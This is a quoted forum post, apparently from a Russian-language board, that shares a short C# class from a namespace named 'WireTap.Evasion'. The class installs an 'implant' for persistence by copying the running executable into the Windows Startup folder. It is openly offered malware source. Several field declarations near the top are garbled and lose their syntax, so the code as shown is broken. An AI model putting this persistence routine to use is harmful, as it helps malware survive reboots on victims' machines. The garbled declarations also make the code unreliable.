EternityTeam сказал(а):
C#:
Скопировать в буфер обмена
using System;
using System.IO;
using System.Reflection;
namespace WireTap.Evasion
{
internal sealed class Startup
{
CurrentExecutable AssemblyLocation
ShellStartupDirectory EnvironmentEnvironmentSpecialFolderStartup);
public static string Install()
{
FileInfo ImplantShellStartupExecutable = new FileInfo(Path.Combine(ShellStartupDirectory.FullName, CurrentExecutable.Name));
// Create startup dir if not exists
if (!ShellStartupDirectory.Exists)
{
ShellStartupDirectory.Create();
}
// If the executable does not already exist in the Shell Startup directory, copy it there.
if (!ImplantShellStartupExecutable.Exists)
{
CurrentExecutable.CopyTo(ImplantShellStartupExecutable.FullName);
#if DEBUG
Console.WriteLine("Implant installed");
#endif
return ImplantShellStartupExecutable.FullName;
}
return null;
}
}
}
Нажмите, чтобы раскрыть...